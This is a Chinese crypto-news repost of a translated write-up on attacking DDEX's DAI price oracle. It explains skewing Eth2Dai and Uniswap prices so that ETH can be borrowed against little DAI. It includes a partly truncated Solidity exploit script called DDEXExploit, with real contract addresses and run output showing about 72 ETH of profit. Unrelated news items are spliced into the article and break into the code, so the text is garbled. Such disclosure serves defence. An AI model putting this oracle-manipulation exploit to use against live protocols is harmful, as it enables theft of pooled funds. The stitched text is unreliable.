月亮链 月亮链
Ctrl+D收藏月亮链

DAI:通过操控抵押品价格预言机牟利_ICE

作者:

时间:1900/1/1 0:00:00

译文出自:登链翻译计划

译者:翻译小组

校对:Tiny熊

太长不看版

因依赖链上去中心化的价格预言而不验证返回的价格,DDEX和bZx容易受到价格操纵攻击。这导致DDEX的ETH/DAI市场损失ETH流动性,以及bZx中所有损失流动性资金,在本文中,将介绍价格操纵攻击的原理、如何实施的攻击、以及如何应对。

什么是去中心化贷款?

首先,让我们谈谈传统贷款。贷款时,通常需要提供某种抵押品,这样,如果你拖欠贷款,贷方便可以扣留抵押品。为了确定你需要提供多少抵押品,贷方通常会知道或能够可靠地计算出抵押品的公平市场价值(FMV)。

在去中心化贷款中,除了贷方现在是与外界隔离的智能合约之外,其他过程相同。这意味着它不能简单地“知道”你提供的任何抵押品的FMV。

为了解决此问题,开发人员指示智能合约查询价格预言机,该预言机接受代币地址并返回对应计价货币(例如ETH或USD)的当前价格。不同的DeFi项目采用了不同的方法来实现此预言机,但通常可以将它们全部归类为以下五种方式之一(尽管某些实现比其他实现更模糊):

链下中心化预言机这种类型的预言机只接受来自链下价格来源的新价格,通常来自项目控制的帐户。由于需要使用新汇率快速通知更新预言机,因此该帐户通常是EOA,而不是多签钱包。可能需要进行一些合理的检查,以确保价格波动不会太大。Compound和Synthetix的大多数资产使用这种类型的预言机。

赵长鹏:试图关闭Binance.US,最终投票未通过一事报道不实:8月3日消息,币安创始人赵长鹏发推回应曾试图关闭 Binance.US,最终投票未通过一事,称这是 FUD 消息,如果是董事会投票,3 个选票中的 1 个投票反对,并不能阻止任何决定。2/3 的赞成票才能胜出;如果是股东投票,Binance.US 首席执行官 Brian Shroder 并非风险投资者或其他类型的投资者。

金色财经此前报道,币安 CEO 赵长鹏在今年早些时候曾试图关闭币安的美国分支机构 Binance.US,但未能获得所需的一致支持,Brian Shroder 是唯一坚持反对这一决定的人。[2023/8/3 16:15:02]

链下去中心化预言机这种预言机从多个链下来源接受新价格,并通过数学函数(例如平均值)合并这些值。在此模型中,通常使用多签名钱包来管理授权价格源列表。Maker针对ETH和其他资产使用这种类型的预言机。

链上中心化预言机这种类型的预言机使用链上价格来源(例如DEX)确定资产价格。但是,只有授权账号才能触发预言机从链上源读取。像链下中心化预言机一样,这种类型的预言机需要快速更新,因此授权触发帐户可能是EOA而不是多签钱包。dYdX和Nuo针对一些资产使用这种类型的预言机。

链上去中心化预言机这种预言机使用链上价格来源确定资产价格,但是任何人都可以更新。可能需要进行一些合理检查,以确保价格波动不会太大。DDEX将这种类型的预言机用于DAI,而bZx对所有资产使用这种类型的预言机。

Ordinals协议存在铭文编号漏洞,创始人称可通过升级解决但会影响之后的编号:5月5日消息,据推特用户bitrabbit_btc的推文,有位推主发现了Ordinals协议的一个bug,3492721号这个铭文,是0输入0输出都是0值,却能够被刻上铭文并编进编号。Ordinals创始人表示这个问题很奇怪,但是可以通过升级Ordinals程序来解决,但是会影响3492721之后所有的铭文编号。

这位推主还以在程序未被升级之后最快速度发布了指南,并号召实施相同的行为攻击Ordinals。他实施这次行为可能是反对在比特币L1上进行这些占用比特币空间的铭文活动,并且发布了一条侧链Spacechain的设计说明,认为这些铭文活动应该在二层进行。[2023/5/5 14:44:40]

常量预言机这种类型的预言机简单地返回一个常数,通常用于稳定币。由于USDC钉住美元,因此上述几乎所有项目都将这种类型的预言机用于USDC。

问题

在寻找其他易受攻击的项目时,我看到了这条推文:

老实说,我担心他们会将其用作价格喂价源。如果我的预感是正确的,那很容易受到攻击。

—Vitalik非以太赠予者(uint256eth2daiPrice=getEth2DaiPrice();if(eth2daiPrice>0){_price=makerDaoPrice

uint256uniswapPrice=getUniswapPrice();if(uniswapPrice>0){_price=makerDaoPrice

OXT研究人员通过链上分析验证了灰度的比特币信托持有的BTC数量:金色财经报道,尽管Grayscale未公开,但OXT研究人员Ergo解释称,已经采取措施,根据公共信息和区块链取证来识别可能的GBTC地址和余额。其中发现,持有317,705?BTC的432个地址可能是GBTC托管地址。

此外,在此分析中,使用额外的onchain取证来确认GBTC在Coinbase托管处持有的大约633K?BTC余额。Ergo总结指出,在发现前50%的比特币与Grayscale的BTC相关联后,该团队扫描区块链以寻找符合第1部分中发现的地址的其他地址。[2022/11/25 8:06:40]

return_price;}functiongetEth2DaiPrice()publicviewreturns(uint256){if(Eth2Dai

uint256bidDai=Eth2Dai

else{returnbidPrice

}functiongetUniswapPrice()publicviewreturns(uint256){uint256ethAmount=UNISWAP

else{returnuniswapPrice;}}functiongetMakerDaoPrice()publicviewreturns(uint256){(bytes32value,boolhas)=makerDaoOracle

音乐NFT交易平台OneOf将通过Polygon推出体育系列NFT:2月25日消息,基于Tezos的音乐NFT交易平台OneOf将在Polygon上推出体育系列NFT。OneOf周四公布其“Sports Pass”系列,这是由动画工作室8th Frame设计的一对一3D渲染NFT。

除了职业体育界的合作,OneOf表示它目前已获得一系列大学团队的赞助。该项目已与杜克大学篮球项目及其教练Mike Krzyzewski达成合作。

OneOf的体育市场已经与包括Wayne Gretzky、Mia Hamm和拳王阿里等多位知名运动员签署合作协议。OneOf市场上的收藏品除了可以使用信用卡购买外,也可以用加密货币购买。(CoinDesk)[2022/2/25 10:14:45]

else{return0;}}

参考源码

为了触发更新并使预言机刷新其存储的值,用户只需调用updatePrice()即可。

functionupdatePrice()publicreturns(bool){uint256_price=peek();if(_price!=0){price=_price;emitUpdatePrice(price);returntrue;}else{returnfalse;}}

参考源码

攻击原理

假设我们可以操纵DAI/USD的价格表现。如果是这种情况,我们希望使用它借用系统中的所有ETH,同时提供尽可能少的DAI。为此,我们可以降低ETH/USD的表现价格或增加DAI/USD的表现价格。由于我们已经假设DAI/USD的表现价值是可操纵的,因此我们选择后者。

声音 | 浙商银行沈金方:通过区块链技术解决企业应收账款真伪等问题:据中国经济新闻网消息,浙商银行公司银行部副总经理沈金方近日提到了浙商银行在区块链的探索。通过区块链技术将企业的应收账款改造成可支付结算和融资的工具,从而解决真伪、确权和资金回笼的问题。这个业务已经做了将近一年多的探索,叫应收款内业务,成效非常明显,尤其对中小企业融资难和融资贵的问题都可以得到有效的解决。[2018/9/18]

为了增加DAI/USD的表现价格,我们可以增加ETH/USD的表现价格,或者降低ETH/DAI的表现价格。基于当前意图和目的,操纵Maker的预言是不可能的,因此我们将尝试降低ETH/DAI的表现价值。

编者注,因为DAI/USD价格=ETH/USD价格÷ETH/DAI价格

预言机通过Eth2Dai取当前要价和当前出价的平均值来计算ETH/DAI的值。为了降低此值,我们需要通过填充现有订单来降低当前出价,然后通过下新订单来降低当前要价。

但是,这需要大量的初始投资(因为我们需要先填写订单,然后再生成相等数量的订单),并且实施起来并不容易。另一方面,我们可以通过在Uniswap大量交易DAI来影响Uniswap中的价格。因此,我们的目标是绕过Eth2Dai逻辑并操纵Uniswap价格。

为了绕过Eth2Dai,我们需要控制价格的波动幅度。我们可以通过以下两种方式之一进行操作:

清除订单的一侧,而保留另一侧。这导致价差正增长

通过列出极端的买入或卖出订单来强制执行交叉的订单。这会导致利差下降。

尽管选项2不会因不利订单而造成任何损失,但SafeMath不允许使用交叉订单,因此我们无法使用。相反,我们会通过清除订单的一侧来强制产生较大的正价差。这将导致DAI预言机回退到Uniswap来确定DAI的价格。然后,我们可以通过购买大量DAI来降低DAI/ETH的Uniswap价格。一旦操纵了DAI/USD的表现价值,便像往常一样借贷很简单。

攻击演示

以下脚本将通过以下方式获利约70ETH:

清除Eth2Dai的卖单,直到价差足够大,以致预言机拒绝价格

从Uniswap购买更多DAI,价格从213DAI/ETH降至13DAI/ETH

用少量DAI(?2500)借出所有可用ETH(?120)

将我们从Uniswap购买的DAI卖回Uniswap

将我们从Eth2Dai购买的DAI卖回Eth2Dai

重置预言机(不想让其他人滥用我们的优惠价格)

contractDDEXExploitisScript,Constants,TokenHelper{OracleLikeprivateconstantETH_ORACLE=OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);DaiOracleLikeprivateconstantDAI_ORACLE=DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);ERC20LikeprivateconstantHYDRO_ETH=ERC20Like(0x000000000000000000000000000000000000000E);HydroLikeprivateconstantHYDRO=HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);uint16privateconstantETHDAI_MARKET_ID=1;uintprivateconstantINITIAL_BALANCE=25000ether;functionsetup()public{name("ddex-exploit");blockNumber(8572000);}functionrun()public{begin("exploit")

functioncheckRates()external{uintethPrice=ETH_ORACLE

uintprivateboughtFromMatchingMarket=0;functionskewRates()external{skewUniswapPrice();skewMatchingMarket();require(DAI_ORACLE

functionskewUniswapPrice()internal{DAI

functionskewMatchingMarket()internal{uintstart=DAI

boughtFromMatchingMarket=DAI

functionsteal()external{HydroLike

functioncleanup()external{DAI

functioncheckProfits()external{printf("profits=%

}/*###runningscript"ddex-exploit"atblock8572000####executingstep:exploit#####calling:checkRates()eth=213.440000000000000000dai=1.003140638067989051#####calling:skewRates()#####calling:checkRates()eth=213.440000000000000000dai=16.058419875880325580#####calling:steal()ethWanted=122.103009983203364425daiNeeded=2435.392672403537525078#####calling:cleanup()#####calling:checkProfits()profits=72.140629996890984407####finishedexecutingstep:exploit*/

解决方案

DDEX团队通过部署新的预言机解决了此问题这对DAI的价格设置了合约价格界限,目前将其设置为0.95和1.05。

本文来源于非小号媒体平台:

登链社区

现已在非小号资讯平台发布105篇作品,

非小号开放平台欢迎币圈作者入驻

入驻指南:

/apply_guide/

本文网址:

/news/9559363.html

免责声明:

1.资讯内容不构成投资建议,投资者应独立决策并自行承担风险

2.本文版权归属原作所有,仅代表作者本人观点,不代表非小号的观点或立场

上一篇:

币安为何推出第三条链?这对BNB意味着什么?

标签:DAIETHPRIICECrypto Daily TokenEtherSmartprimal币邀请码alice币价格

比特币交易热门资讯
区块链:欧科云链OKLink斩获“2020年度守护者”奖项_DEF

12月21日,在“2020区块链今日新基建峰会暨领航者颁奖典礼”上,欧科云链OKLink凭借业内领先的区块链浏览器和表现优异的区块链安全系统“OKLink链上天眼”.

1900/1/1 0:00:00
Graph:为什么要在以太坊上构建去中心化缓存层?到底要怎样做呢?_GRAP

TheGraph项目旨在通过构建去中心化的数据网络以实现Dapp对以太坊和IPFS数据的快速访问。问题出在哪里?区块链对于实时数据提取的效率并不高.

1900/1/1 0:00:00
STA:Stabilize Finance是什么?_StarLink

随着DeFi运动的蓬勃发展,稳定币越来越受欢迎。稳定币旨在与法定货币挂钩或浮动,可确保投资者和交易者免受其货币价值波动的影响.

1900/1/1 0:00:00
BTC:贤哥懂币:比特币大跌,晚间反弹过后继续空!_StarkNet

今日要闻:12月22日,PrimitiveVentures创始合伙人万卉在微博上表示,灰度每年都有两次暂停接受投资的时间,每次维持一个月。上次是今年6月底到7月底.

1900/1/1 0:00:00
NEX:Nexus Mutual 创始人亲笔:37 万 NXM 代币是这样被黑客窃走_INE

时间背景世界标准时间12月14日星期一上午9点40分,我被批准了一笔总计37万枚NXM代币的交易.

1900/1/1 0:00:00
CEL:CellETF:P站宣布仅接受加密货币支付?_hub币可靠吗

P站仅接受加密货币支付据Decrypt消息,全球最大的考研视频网站Pornhub宣布只接受加密货币作为默认支付方式.

1900/1/1 0:00:00